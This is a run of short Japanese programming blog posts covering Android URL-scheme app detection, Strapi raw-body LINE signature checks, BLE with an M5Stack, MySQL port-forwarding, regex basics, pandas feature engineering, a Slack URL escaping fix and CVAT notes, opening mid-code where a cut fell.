      stateB.checked = valBnew.length && valBnew.length < plainOptionsB.length;
  }
)
```

まとめた方がスッキリとして視認性が上がるので、まとめて書きましょう！
【Android】特定のアプリがインストール済みかチェックする【カスタムURLスキーム】

# 実現したいこと

あるアプリにおいて、他の特定のアプリが端末にインストールされているかどうかを判別し、その結果によって処理を変えたい。

例）特定のアプリがインストールされているかを判別し、
- されている場合　→　そのアプリを起動
- されていない場合　→ Google Play Storeに飛ばしてダウンロードを促す

## 自分の環境
- macOS BigSur 11.6.6
- Android Studio Arctic Fox | 2020.3.1 Patch 4
- Kotlin version 1.4.20

# 前提
**カスタムURLスキーム(Custom URL Scheme)を利用した場合の解説をします。**
そのため、インストール済みかどうかチェックをされる側のアプリがカスタムURLスキームを設定している必要があります。

例）
- YouTubeのURLスキーム　→　`vnd.youtube`
- Google MapのURLスキーム　→　`geo`

以前はバンドルID(Bundle ID)を用いてインストール済み判定ができたようですが、現在のAndroidではセキュリティの観点からこれはできなくなっているようです。（公式のソース未発見のため見つけた人は教えていただけるとありがたいです。）

自分で作成したアプリであれば自由にURLスキームを以下の方法で設定できます。

## Custom URL Scheme の設定の仕方
**※インストールされているかチェックされる側のアプリで設定します。**
既存のアプリでインストール済み判定をする場合は必要ありませんので飛ばしてください。

AndroidManifest.xmlの`manifest -> application -> activity`要素の中に以下の`intent-filter`要素を追加します。
`your.url.scheme`の部分に設定したい任意の文字列を設定します。できる限り他のアプリと被らない文字列にすることをおすすめします。

``` AndroidManifest.xml
<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="your.url.scheme" />
</intent-filter>
```

# 特定のアプリがインストールされているかを判別する

## 1. AndroidManifest.xmlに追加
このアプリを検出しますよというのをAndroidManifest.xmlに宣言します。
これがないと以降で書くコードは正常に動きません。

以下の`queries`要素を`manifest`要素の下（`application`要素と同列）に追加します。
``` AndroidManifest.xml
<queries>
    <intent>
        <action android:name="android.intent.action.VIEW" />
        <data android:scheme="your.url.scheme"/>
    </intent>
</queries>
```

## 2. 実際に判別する
以下のコードで判別することができます。
``` .kt
val uri = Uri.parse("your.url.scheme")
val i = Intent(Intent.ACTION_VIEW, uri)
if (i.resolveActivity(activity?.packageManager!!) != null) {
    // インストールされている場合の処理
    startActivity(i) // 該当アプリを開く場合
} else {
    // インストールされていない場合の処理
    // ストアに飛ばす処理など
}
```

# 備考
インストールされている場合は起動する、という場合は以下コードでも可。
ただ、推奨はされていないらしいので上記処理をした方が無難。
``` .kt
val uri = Uri.parse("your.url.scheme")
val i = Intent(Intent.ACTION_VIEW, uri)
try {
    // アプリの起動
    startActiviry(i)
} catch (e: ActivityNotFoundException)) {
    // インストールされていない場合の処理
    // ストアに飛ばす処理など
}
```

# 参考文献
https://developer.android.com/training/app-links/deep-linking?hl=ja
https://developer.android.com/reference/android/content/Context#startActivity(android.content.Intent)
https://developer.android.com/reference/android/content/pm/PackageManager#resolveActivity(android.content.Intent,%20android.content.pm.PackageManager.ResolveInfoFlags)
https://blog.asial.co.jp/1415
JupyterLab ipywidgets で Button on_clicked で引数与えたいメモ

ボタンとか押したときに on_clicked にパラメータ与えたい...

class で UI 内包するのが推奨でしょうが, functools partial で頑張るでもできました

https://github.com/jupyter-widgets/ipywidgets/issues/2103

Voila!
Laravelのバリデーションルールの本体の場所

Laravelのバリデーションルールでurlに指定したものが思うように動いていないバグを調べることになった。

独自ルールを正規表現で作って置き換えてもいいかという話になったが、Laravel標準のルールから緩めすぎることにならないかと気になったのでググってみたが、詳しい仕様についてはどこにも書かれていないようだった。

正しいURLか判定します　みたいなものしか見つからない。何をもって正しいの？ってのがわからなかった。

そこでソースコードの原本を探してみたところ以下のファイルに書いてあった。

~~~
vendor/laravel/framework/src/Illuminate/Validation/Concerns/ValidatesAttributes.php
~~~

このフォルダの周りにはバリデーション関係が色々あるので、ここにない場合は周りを探せばあると思います。
Headless CMSのStrapi v4で生のbodyを取得してLINE Messaging API Webhookの署名検証を行う

こんにちは。
株式会社dottでエンジニャーをしているHALです。

弊社ではHeadless CMSのStrapiを活用したWEBシステムの開発をやっていたりします。

https://strapi.io/

Strapiは、通常POSTリクエストなどを受け付けると、bodyを勝手にパースしてオブジェクトにしてくれます。
基本的には便利なので良いのですが、稀にパース前の生のbodyが必要になることがあります。
例えばLINEのMessaging APIのWebhookからリクエストを受け付けた時で、署名の検証のために生のbodyが必要な場合など。
そんな時に必要になる設定を調べました。

# middlewares.jsの修正

`strapi/config/middlewares.js`の記述を修正します。

```diff_javascript
module.exports = [
  "strapi::errors",
  "strapi::security",
  "strapi::cors",
  "strapi::poweredBy",
  "strapi::logger",
  "strapi::query",
- "strapi::body",
+ { name: "strapi::body", config: { includeUnparsed: true } },
  "strapi::session",
  "strapi::favicon",
  "strapi::public",
];
```

これでパース前の生のbodyがctx.request.bodyに含まれるようになります。
ちなみに追加できるオプションの一覧はこちら。

https://github.com/koajs/koa-body#options

Strapiの内部で使用しているKoaというライブラリに渡している値になります。

# 生のbodyの使い方
実際に生のbodyを使うときは以下のようにします。
（LINEの署名検証のpolicyの例。参考にしたのは[こちら](https://developers.line.biz/ja/reference/messaging-api/#signature-validation)）

```javascript:policies/line-verify-signature.js
module.exports = async (policyContext, config, { strapi }) => {
  const crypto = require("crypto");
  const channelSecret = CHANNEL_SECRET; // Channel secret string
  const unparsed = require("koa-body/unparsed.js");
  const body = policyContext.request.body[unparsed];
  if (!body) {
    return true;
  }
  const signature = crypto
    .createHmac("SHA256", channelSecret)
    .update(body)
    .digest("base64");

  // Compare x-line-signature request header and the signature
  if (policyContext.request.header["x-line-signature"] === signature) {
    return true;
  }

  return false;
};
```

重要なのは以下の２行です。

```javascript
  const unparsed = require("koa-body/unparsed.js");
  const body = policyContext.request.body[unparsed];
```

`koa-body/unparsed.js`というやつを使うことで取得できるようです。
署名の検証に生のbodyが必要になる例は他のサービスのwebhookなどでもよくあるパターンなので、同様にすれば利用できると思います。

# 最後に

StrapiはヘッドレスCMSとしても優秀ですし、カスタマイズすればWEB開発にも活かせます。
ただ、最近v3からv4に変わった際に大幅に中身が変わっていて、検索してもv3の情報ばかりでv4の情報がなかったりして困ります・・・。
（公式ドキュメントもカスタマイズするのにはちょっと説明が薄く・・・）
またv4でちょっと特殊なことをしようとした際は記事にしてみようと思います。

Strapi、便利なのでぜひ使ってみてください。
pod installしたのに`No such module`となる場合にまず確認すること

備忘録です。

```Swift: Podfile
target 'HogeHogeApp' do

  use_frameworks! // この1行忘れてない？

  pod 'IQKeyboardManagerSwift'
  pod 'MessageKit'
  pod 'CalculateCalendarLogic'
  pod 'RealmSwift'
end 
```

`use_frameworks!`を追加して再度pod installをしたところ無事に解決しました。
Arduino MKR WAN 1310 の ATECC508 crypto chip 



# Arduino MKR WAN 1310

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/b890eadc-3fd6-741a-2abb-9876f1918411.png)

Arduino MKR WAN 1310 は以下の主要なユニットから構成されています。

- Cortex-M0 32-bit SAMD21
- Murata CMWX1ZZABZ
- ATECC508 crypto chip

# ATECC508 機能を使う

このうち、ATECC508 は Microchip の暗号化チップとして鍵、署名管理、認証などの機能があります。
この機能を使うには、arduinolibs  ライブラリをインストールして使います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/f517c649-72ee-9d91-8ff7-8873f06e9b7b.png)
https://github.com/rweather/arduinolibs


試しに、サンプルプログラム
「ファイル」-「スケッチ例」-「ArduinoECCX08」-「ECCX08RandomNumber」
を実行してみたら以下のように出てきました。

```

The ECC508/ECC608 is not locked!
```

# ロック作業を行ってライブラリを使えるようにする

使用するには、構成を保存しているEEPROMについて変更しないようにロックして使うことが必要らしいです。
ロックに仕方について、こちらの記事に基づいて設定しましました。


「Arduino MKR WAN 1310に搭載されたECC508を利用して乱数を生成してみる」
https://neocat.hatenablog.com/

「ファイル」-「スケッチ例」-「Tools」-「ECCX08CSR」で設定します。



```

ECCX08 Serial Number = 012396DE1D2F055FEE

The ECCX08 on your board is not locked, would you like to PERMANENTLY configure and lock it now? (y/N) [N]: y
ECCX08 locked successfully


```
この後CSRの設定がはじまったので続けてみます。

```
Hi there, in order to generate a new CSR for your board, we'll need the following information ...

Country Name (2 letter code) []: 
State or Province Name (full name) []: Tokyo
Locality Name (eg, city) []: Adachi
Organization Name (eg, company) []: Nanbu works Inc.
Organizational Unit Name (eg, section) []: HQ
Common Name (e.g. server FQDN or YOUR name) [012396DE1D2F055FEE]: Yoshimasa Kawano
What slot would you like to use? (0 - 4) [0]: 0
Would you like to generate a new private key? (Y/n) [Y]: Y

Here's your CSR, enjoy!
```
このあとCSRが表示されました。


# 乱数を発生させてみる

改めて、「ECCX08RandomNumber」実行します
```

Random number = 33979
Random number = 58641
Random number = 56484
.
.
.
```

うまくいったみたいです
[JavaScript] async 中にawait でキー入力待ちする

async関数中にボタンを押すまで処理を止める例。
ほぼ使うときないけどメモ。


```html:html
<button id="next-btn">next</button>
<script>
  function waitClick(btn) {
    return new Promise((resolve, reject) => {
      btn.onclick = () => resolve()
      btn.onerror = e => reject(e)
    })
  }

  (async () => {
    let n = 0
    const nextButton = document.getElementById('next-btn')
    while (n < 10) {
      await waitClick(nextButton)
      console.log(n++)
    }
    console.log('done')
  })()
  /** 出力
  0
  1
  2
  3
  4
  5
  6
  7
  8
  9
  done
  */
</script>
```
M5stack Core2でBluetooth接続　PCのpythonプログラム2（PCから送信）

# BLE通信を成功させたい
長引いているBLE通信、UIFLOWのBlocklyでは情報が少なすぎてうまくいかないものです…
前回は、PCとM5StackCore2間のBLE通信が出来ることが確認できました
任意の文字列をPCとM5StackCore2の間で通信することを目標にしました

# PC側の送信プログラム完成
任意の文字列を送信する方法がわからず困っていましたが、UUIDライブラリでCore2と同じUUIDを設定（生成）したことで解決しました
UUIDは前回のServiceで抽出された上記項目から抜き出しました

https://qiita.com/ganmodoki_oishii/items/418f3e2f3b29342f6856

UUIDを変数にただの文字列として代入して通信していた時は、**Access Denied**が出たりしてPC側でUUIDが設定できていなかったのか・・？

```python
import asyncio
import uuid
from bleak import BleakScanner
from bleak import BleakClient
from bleak import BleakError

device_name = "FIVE_STACK"
write_UUID = uuid.UUID("6e400002-b5a3-f393-e0a9-e50e24dcca9e")
# M5StackCore2のUUIDを設定する
#[Characteristic] 6e400002-b5a3-f393-e0a9-e50e24dcca9e (Handle: 23):  (write), Value: None
write_UUID = uuid.UUID("6e400002-b5a3-f393-e0a9-e50e24dcca9e")
```

通信先の検索を行い、通信チェック、通信先のMACアドレスを抽出

```python
async def ble_scan():
    devices = await BleakScanner.discover()
    idx = list(filter(lambda x: x.name == device_name, devices))
    # 検出デバイスの表示
    #for d in devices:
    #    print(d)
    global ADDRESS
    ADDRESS = idx[0].address
    print("find device " + str(idx[0].name))
```

MACアドレスを使ってBLE通信を開始、入力テキストを出力する

```python
async def connect_write():
    global ADDRESS

    async with BleakClient(ADDRESS,use_cached=False) as client:
        print("Send message..")
        val = input("input >>")
        write_value = bytearray(val.encode('utf-8'))
        await client.write_gatt_char(write_UUID, write_value)
        print("end")

if __name__ == "__main__":
    asyncio.run(ble_scan())
    asyncio.run(connect_write())
```

# UIFLOWのBlockly
以下を実装
+ テキスト受信
+ テキストをラベル表示
+ Aボタンを押すとラベルリセット
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2660324/0617a6b9-1c89-ef29-febc-07824687261f.png)

# 実行結果
テキストリセットのAボタンも機能しました
次は、M5StackCore2からの送信データをPCで受け取るを目標にします
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2660324/5d54adf0-e12f-302c-6145-fd0e3c0bd2a8.png)
テスト手法

## プログラムテスト
<b>プログラム中に潜む誤りを<font color = blue>バグ</font>という。テストの目的はバグを発見し、取り除くこと。
一般的に、テストを進めていくにつれて、バグが取り除かれ、高品質のプログラムになっていく。
下図のような<font color = blue>信頼度成長曲線(ゴンペルツ曲線)</font>になる。
![sinraidoseichokyokusen-usecase 2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/c5196f27-d47a-fbd8-e4f3-d34510e32048.png)
## テスト工程
<b><font color = blue>テストケース</font>を使用して、実施する。テストケースとは、条件や期待される動きなどをまとめたもの。

![a9Nb6ZRoG5btH2OjPsLPXQabl65ClLBXhYCj7qzw.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/af769068-83db-012c-ba1b-fed9d220ebb6.jpeg)

## ソフトウェアユニットテスト
<b>プログラムを構成するモジュール単位に行うテストのこと。<font color = blue>単体テスト</font>ともいわれている。要求事項を満たしているかを確認する。
### ホワイトボックステスト
<b>モジュールの内部構造に着目して行うテスト。アルゴリズムの詳細仕様など、内部仕様からテストケースを設計する。
・<font color = blue>命令網羅</font>
・<font color = blue>分岐網羅</font>
・<font color = blue>条件網羅</font>
・<font color = blue>複数条件網羅</font>
が存在する。
### ブラックボックステスト
<b>モジュールの外部仕様に着目して行うテスト。設計者の意図した機能を実装しているかを確認するテストである。冗長なコードなどは検知しない。
・限界値分析
・同値分割
がある。
## ソフトウェア統合テスト
<b>ソフトウェアユニットテストが完了したモジュール同士を結合して行うテスト。<font color = blue>結合テスト</font>とも言われている。モジュール間のインターフェースを確認する。
### トップダウンテスト
<b>上位モジュールから下位モジュールへと順次結合してインターフェースを確認するテスト。
下位モジュールが完成していない場合、仮のモジュールとなる<font color = blue>スタブ</font>が必要。
### ボトムアップテスト
<b>下位モジュールから上位モジュールへと順次結合してインターフェースを確認するテスト。
上位モジュールが完成していない場合、仮のモジュールとなる<font color = blue>ドライバ</font>が必要。
## システム統合テスト
<b>システム設計で定義したテスト仕様に基づくテスト
## ソフトウェア検証テスト
<b>ソフトウェア要件定義で定義したテスト仕様に基づくテスト
## システム検証テスト
<b>システム要件定義で定義したテスト仕様に基づくテスト。<font color = blue>システムテスト</font>ともいわれている。
### テスト手法
<b><font color = blue>機能テスト</font>
<font color = blue>性能テスト</font>
<font color = blue>操作性テスト</font>
<font color = blue>例外処理テスト</font>
<font color = blue>負荷テスト</font>
## 運用テスト・受入れテスト
<b>システム本番移行直前に、最終利用者(業務担当者)が行うテスト。その後のシステムの納品を受諾するかどうかを検査する<font color = blue>受入れテスト</font>を兼ねる場合もある</font>
<font color = blue>妥当性確認テスト</font>は、完成したシステムが当初の目的を果たすものになっているかどうか確認する。
## ソフトウェア保守
<b>稼働中のソフトウェアに対して、発見された障害を是正したり、新しい要件に対応するために機能を拡張したりすること。
<font color = blue>リグレッションテスト(退行テスト)</font>は修正や変更によって、影響を受けないはずの箇所に影響を及ぼしていないかどうかを確認するテスト。
### ソフトウェアの品質特性
<b><font color = blue>機能性</font>
<font color = blue>使用性</font>
<font color = blue>信頼性</font>
<font color = blue>効率性</font>
<font color = blue>保守性</font>
<font color = blue>移植性</font>
RHELのMariaDBのCLIからコンテナ上のMySQLデータベースに接続する

## 背景

MySQLデータベースサーバーをコンテナで起動し、動作確認のため、RHELにMariaDBを入れて、mysqlコマンドで接続出来ずにハマった時のメモ。

## 環境

+ サーバー
    + Red Hat OpenShift on IBM Cloud (ROKS)
    + コンテナイメージはmysql:5.7
+ クライアント
    + RHEL7
    + ocコマンド導入し、ROKSクラスターへ接続済み
    + yum install mysqlでMariaDBを導入済み

## 事象

クライアント環境にて、以下を実施してServiceに向けてポートフォワード。

```
# oc port-forward svc/mysql 3306:3306
Forwarding from 127.0.0.1:3306 -> 3306
```

Podを直撃する場合はこのように。

```
# oc port-forward pod/mysql-abcdefghij-abcde 3306:3306
Forwarding from 127.0.0.1:3306 -> 3306
```

クライアントから接続を試みるとこのようなエラー。

```
# mysql -u mysql -p
Enter password: 
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111)
```

```
# mysql -h localhost -u mysql -p
Enter password: 
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111)
```

## 解決策

sockファイルをtouchしても解決せず。結論は `--protocol=tcp` を指定する必要がありました。

```
# mysql --protocol=tcp -u mysql -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 5.7.38 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
```

hostname無指定あるいはlocalhost指定の場合、プロセス間通信しようとしてしまうのを避ける必要がある、ということかしら。

IPアドレス指定でもいけるみたい。

```
# mysql -h 127.0.0.1 -u mysql -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 5.7.38 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> q
```

解決してから`--protocol=tcp`で改めて調べると、既出でしたね。勉強になりました。

https://qiita.com/kazegusuri/items/85478e6863453041dd68
[Oracle Cloud] Oracle Databaseを最短で立ち上げてSQLを実行するまでに何分かかるか？

ちょっとOracle Databaseを立ち上げて簡単にSQLを試しに実行してみたいことはありませんか？
Oracle Cloudのアカウントを持っている前提で、Oracle Databaseを立ち上げてSQLを実行するまでに何分かかるか測ってみました！

# Oracle Databaseを立ち上げるにはどんなサービスが使える？
Oracle CloudでOracle Databaseを立ち上げるには主に下記のサービスがあります。
・Computeサービス（IaaS）上に自分でOracle Databaseをインストールして使う
・Oracle Database Cloud Service（DBCS）を使う
・Autonomous Databaseを使う
Autonomous Databaseとは耳慣れませんが、オラクル社がOracle Databaseの専用サーバExadata上にOracle Databaseを載せて提供している自律型データベースサービスです。

# Oracle Databaseを立ち上げるのに何分かかる？
「Oracle Databaseをインストールしたインスタンスを用意する」ために一番早いのはどれでしょうか？（一部）実際に計測してみました。

* <b>Computeサービスを使う場合：数時間</b>
ご想像通りオンプレミスのように自分でOracle Databaseをインストールする必要があるので、準備も含めて早くても1時間以上かかると思います。ここは作業者のスキルにも依存するので、時間計測は割愛します。

* <b>Oracle Database Cloud Serviceを使う場合：約75分</b>
  * コンパートメントを作る：約1分
  * VCNを作る：約1分
  * Subnetを作る：約1分
  * DBCSを作る（作成ボタンを押すまで）：約2分
  * DBCSを作る（プロビジョニング完了まで）：約70分

* <b> Autonomous Databaseを作る場合：約3分 </b>
  * コンパートメントを作る：約1分
  * Autonomous Databaseを作る（作成ボタンを押すまで）：約1分
    * アクセス・タイプを「すべての場所からのセキュア・アクセスを許可」にする場合は、ユーザのネットワーク外に置かれるので事前にVCNやSubnetを用意する必要はありません。
  * Autonomous Databaseを作る（プロビジョニング完了まで）：約1分（正確にいうと49秒）

上記で一番速かったのはAutonomous Databaseでした。ということで、次はAutonomous DatabaseでSQLを実行するまでに何分かかるかを試したいと思います。
  
# Autonomous DatabaseでSQLを実行するまでに何分かかる？
SQLを実行するには色々方式があると思いますが、一番簡単な方法は「データベース・アクション」の「SQL」から実行できます。

下記の手順で実行して、約3分で操作できました！
1. 「データベース・アクション」を選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1581985/4ec9ce14-0e67-726d-7ee0-b641f0ba2f3e.png)
2．「SQL」を選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1581985/6641be2b-9576-b1b3-18a0-f39381f7cca2.png)
3．右上の部分にSQLを記入して、実行ボタンを押す
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1581985/d5c58f84-2b36-51ec-49b0-cc864ec6011d.png)

実際には表を作ってデータを入れたりすると思いますが、試したい内容に依存するので割愛します。

# Oracle Databaseの載ったインスタンスを削除するのは何分かかる？
おまけですが、ほぼデフォルト状態のインスタンスを終了（削除）するのには何分ぐらいかかるでしょうか？計測してみました。
* <b>Oracle Database Cloud Service（DBCS）の場合：約10分</b>
* <b>Autonoumous Databaseの場合：約3分（正確に言うと2分45秒）</b>
これもAutonomous Databaseの方が速かったですね！

# まとめ
Oracle Cloudのアカウントを持っている前提で、Autonomous Databaseを立ち上げてSQLを実行するまでには約6分、削除は約3分かかることが分かりました。

* <b>Autonomous Databaseを作成：約3分</b>
* <b>データベース・アクションからSQLを実行：約3分</b>
* <b>Autonomous Databaseを停止（削除）：約3分</b>

ささっと環境を作って試して削除するのに（実際の作業は抜いて）約9分でできますね。50分間実作業したとしても、1時間でOracle Databaseの動作を確認することができそうです。
今回は時間に着目しましたが、コスト面を考えてもAutonomous DatabaseはDBCSと違ってAlways Freeでインスタンスを作れるので、お金を掛けずに利用できるのが良いですね。
正規表現の利用例


文字列の集合を表す汎用的な記法です。 
正規表現などで表される文字列に合致する文字列を探すことを、パターンマッチと言います。 Java、Perl、Ruby、Python などの言語は正規表現を扱うことができるため、 パターンマッチを行うプログラムを容易に作成することができます。

# 利用する文字とパターン
## メタ文字
正規表現では「メタ文字」という特殊な意味を持つ文字を使います。

|種類|説明|
|:---|:---|
|.|なんでもいい1文字|
|^|行の先頭|
|$|行の最後|
|[ ]|指定する文字を囲む|
|*|文字の繰り返し：直前の文字がないか、直前の文字が1個以上連続する|
|+|文字の繰り返し：直前の文字が1個以上連続する|
|?|文字の繰り返し：直前の文字がないか、1つだけある|
|\||いずれかの文字|
|( )|検索できる文字をグループ化する|

## 構文一致
|種類|説明|
|:---|:---|
|X?|X、1 または 0 回|
|X*|X、0 回以上|
|X+|X、1 回以上|
|X{n}|X、n 回|
|X{n,}|X、n 回以上|
|X{n,m}|X、n 回以上、m 回以下|

|X??|X、1 または 0 回。条件に合う最短の部分に一致する|

## メタ文字の検索

メタ文字自体を検索できるようにするには、文字の前に\を付加するか、[]で囲みます。
```
\. \[ \] \* \+ \? \| \( \)
```

行頭「^」と行末「$」自体を検索したい場合は2つ記述します。
```
^^ $$
```

## 利用例
### なんでもいい1文字「.」
|正規表現|検索できる例|
|:---|:---|
|私は.です|私は鳥です   私は馬です  私は0です|
|私は...が..|私はうどんが嫌い 私は早起きが苦手|


### 同じ文字の繰り返し「*」
直前の文字がないか、直前の文字が1個以上連続する
|正規表現|検索できる例|
|:---|:---|
|おー*い|おい　おーい　おーーーーい|

### 同じ文字の繰り返し「+」
直前の文字が1個以上連続する
|正規表現|検索できる例|
|:---|:---|
|おー+い|おーい　おーーい　おーーーーい|

### 同じ文字の繰り返し「?」
直前の文字がないか、1つだけある
|正規表現|検索できる例|
|:---|:---|
|おー?い|おい　おーい|
|Window?|Windows Window|
|Window ?98|Windows98 Windows 98|

### メタ文字の検索
|正規表現|検索できる例|
|:---|:---|
|TEST\\.LOG|TEST.LOG|
|[^^A]|^とA以外の文字|
|[[A10]|[,A,1,0のいずれか|
|[A\\]]|A,]のいずれか|

※[ ] の中の先頭文字 ^ に続く ^ はその文字自体を否定します。
※[ ] の中で [ ] の文字を指定する場合は、[ はそのままで問題ありませんが、] の場合は \] と記述しないと誤検索します。


## 組み合わせた利用
|正規表現|検索できる文字|
|:----|:----|
|[0-9;F]*|0-9の数字と;とFを*回以上繰り返す|
|^[0-9]{2}[;A-Z]*|行頭が0-9、2文字目が0-9、3文字目が;A-Zがないか・1回以上繰り返す|
|[A-Z][0-9]{3}|1文字目がA-Z、2文字目～4文字目が0-9|
|(A10)[0-9]|A101、A102、A103などA10と数字|
|^([a-zA-Z0-9]{8,})$|8文字以上の英数字|
|(\\.co\\.jp)$|末尾が.co.jp|
|A[^A-Z]CCC|1文字目がA、2文字目に半角アルファベット以外の文字、3文字目CCC|
|^[A[\\]^*+?\|\\\\()]|行頭がA,[,\],^,*,+?,\|,\\,(,)のいずれか|

※^は1文字目に持ってくると、メタ文字として認識されます。

## 参考サイト
[サルにもわかる正規表現入門](https://userweb.mnet.ne.jp/nakama/)
[基本的な正規表現一覧](https://murashun.jp/article/programming/regular-expression.html)
[正規表現を可視化してまとめたチートシート:Qiita](https://qiita.com/grrrr/items/0b35b5c1c98eebfa5128)
[正規表現を入力すると可視化してくれるサイト:regexper](https://regexper.com/)
[工事中]テーブルデータ汎用的特徴量




## 列の調査
各列にどのようなデータが入っているか調べ、有効な列を特定する。

### 値が1種類しかない列
値の種類が1種類しかない列は学習に寄与しません。

次のコードは、カラムに含まれる値が1種類しかない列の列名を抽出します。

```python
one_value_cols = [col for col in train.columns if train[col].nunique() <= 1]
one_value_cols_test = [col for col in test.columns if test[col].nunique() <= 1]
```

### ある値がほとんどを占める列
列に含まれるデータのほとんどが、特定の1種類の値になっているとき、もはやその列には「特定の1種類の値 or それ以外」程度の情報しかない場合があります。

次のコードは、カラムに含まれる値のうち、特定の1種類の値が90%より多く占めている列の列名を抽出します。

```python
big_top_value_cols = [col for col in train.columns if train[col].value_counts(dropna=False, normalize=True).values[0] > 0.9]
big_top_value_cols_test = [col for col in test.columns if test[col].value_counts(dropna=False, normalize=True).values[0] > 0.9]
```

### nullが多すぎる列
列に含まれるデータのほとんどが、null値になっているとき、もはやその列には「null or not null」程度の情報しかない場合があります。

次のコードは、カラムに含まれる値のうち、null値が90%より多く占めている列の列名を抽出します。

```python
many_null_cols = [col for col in train.columns if train[col].isnull().sum() / train.shape[0] > 0.9]
many_null_cols_test = [col for col in test.columns if test[col].isnull().sum() / test.shape[0] > 0.9]
```

## 特徴量作成

### Frequency encoding
カテゴリ型の列を値の出現頻度に変換する。

```python
df['cat'] = df['cat'].map(df['cat'].value_counts(dropna=False, normalize=True))
```

### グループごとの偏差値
カテゴリ型の列でグルーピング、平均値を求め元の値から引き算する。厳密には偏差値は標準偏差で割るが、決定木系のモデルでは分布が変わらなければ影響がないので省略できる。

```python
df['val_to_mean_cat'] = df['val'] - df.groupby('cat')['val'].transform('mean')
```
【GAS】iOS版Slackでのメッセージ内URLの不具合

## はじめに
GASのurlfetchを利用してSlackにメッセージをPOSTすることは広く使われていますが、今回はそれでハマったので書いておきます。

## 経緯
Slackにメッセージを送る際、リンク先のGASのURLも付けて送っていました。
下記のmessageの中にURLが含まれています。
```javascript
    var headers = {
      'Content-Type': 'application/json',
      'Authorization': 'Bearer ' + SLACK_APP_TOKEN
    }

    var payload = {
        "token": SLACK_APP_TOKEN,
        "channel":channelId,
        "text": '<@' + id + '>\n' + message
    };

    var params = {
      'method': 'POST', 
      'headers': headers,
      'payload': JSON.stringify(payload)
    }

    //DM送信
    UrlFetchApp.fetch('https://slack.com/api/chat.postMessage', params);
```
そのURLをiOSのSlackでタップすると、ページがちゃんと開かないという相談を受けました。

## 原因
タップしてみると、URLの中の「&」が勝手に「&amp;amp;」に変換されてしまっています。
PCやAndroidで実行した際はそんなことにはなっていないのですが……。
また同じURLを手で入力した場合、「&」はそのまま「&」として認識されていました。
どうやらSlackのAPIでurl付きのメッセージを送る際、上記のようになってしまうようです。


## 対応
Slack APIの仕様を調べていたのですが自分では対応策がみつからなかったので、受けとり側のGASで対応することにしました。
[別の記事](https://qiita.com/shobota/items/8125fc1c69e9bf39ad92)で書いた方法を、QueryStringに対応させます。
その際に、あらかじめ「&amp;amp;」が含まれていた場合は変換しておきます。
```javascript
//======================================================================================================
// リクエストパラメータを分解して利用可能な形に整形する
//======================================================================================================
function getParameters(e){

  var params = {};

  //KeyValue単位で分割する
  //デコード前に+を半角スペースに変換しておく
  //&amp;も&に変換する
  var queryItems = e.queryString.replace(/\+/g," ").replace(/&amp;/g,"&").split('&');
  var reg = /^(\w+)\[(\w*)\]$/;

  queryItems.forEach(function(queryItem){

    if(queryItem.length > 0){

      //KeyとValueに分けてからデコードする
      var item = queryItem.split('=');
      var key = decodeURIComponent(item[0]);
      var value = item[1] ? decodeURIComponent(item[1]) : "";

      //配列か変数かチェック
      var matches = reg.exec(key);

      //変数(例：<input name="id" value="xxx">)
      if (!matches) {
        params[key] = value;

      //配列(例：<input name="id[]" value="xxx">)
      }else if(!matches[2].length){
        key = matches[1];
        if(!(key in params)){
          params[key] = [];
        }
        params[key].push(value);

      //連想配列(例：<input name="id[test1]" value="xxx">)
      }else{
        key = matches[1];
        if(!(key in params)){
          params[key] = {};
        }
        params[key][matches[2]] = value;      
      }    
    }
  });
  return params;
}

```

## おわりに
Slack API側で何らか対応策がありそうなので引き続き調べていますが、一旦は上記で解決を見ました。
Computer Vision Annotation Tool (CVAT)を使ってみたのでメモ

# はじめに
画像・動画のアノテーションツール「CVAT」を使用してみたのでメモ。

https://github.com/openvinotoolkit/cvat


## 全体概要
- ブラウザで使用できるGUIアプリ。データプラットフォームとしても活用可能。
- デプロイはdocker-composeを使用。
- 画像をバルクで、動画は1ファイル単位でアップロードし、`Task`として登録する。
- `Task`は`Project`という単位に所属させることが出来る。`Project`と`Task`は一対多の関係(ディレクトリと同じ感じ)。
- アノテーション対象は`rectangle`、`polygon`、`polyline`、`points`、`cuboid`。`polygon`はopencvによるサポートツールがあり、インスタンスの境界に沿って`polygon`の点をサジェストしてくれる。
- 動画の場合はsemi auto annotation機能を使って、自動で中割を作成してくれる。ただし、実用的なのは`rectangle`くらいか。（参考　https://www.youtube.com/watch?v=Hc3oudNuDsY）
- 学習モデルをデプロイできるサーバーを含んだコンテナもあり、それを使用すると学習済みモデルをデプロイ、Web APIとして利用可能になる。アノテーションツールから呼び出してアノテーションの自動化に活用可能。
- アノテーションラベルは様々な形式でダウンロード可能。登録した生画像（動画）、フレームに分割された画像もダウンロード可能。
- 動画の場合はフレーム単位で分割され、画像(PNG)としてダウンロードできる。
- 認証機能有り。ただしユーザー管理機能は貧弱。
- `kibana`が含まれており、作業時間などの統計が見れる。


## タスク作成について
- `Subset`はtrain／val／testの区分分け。
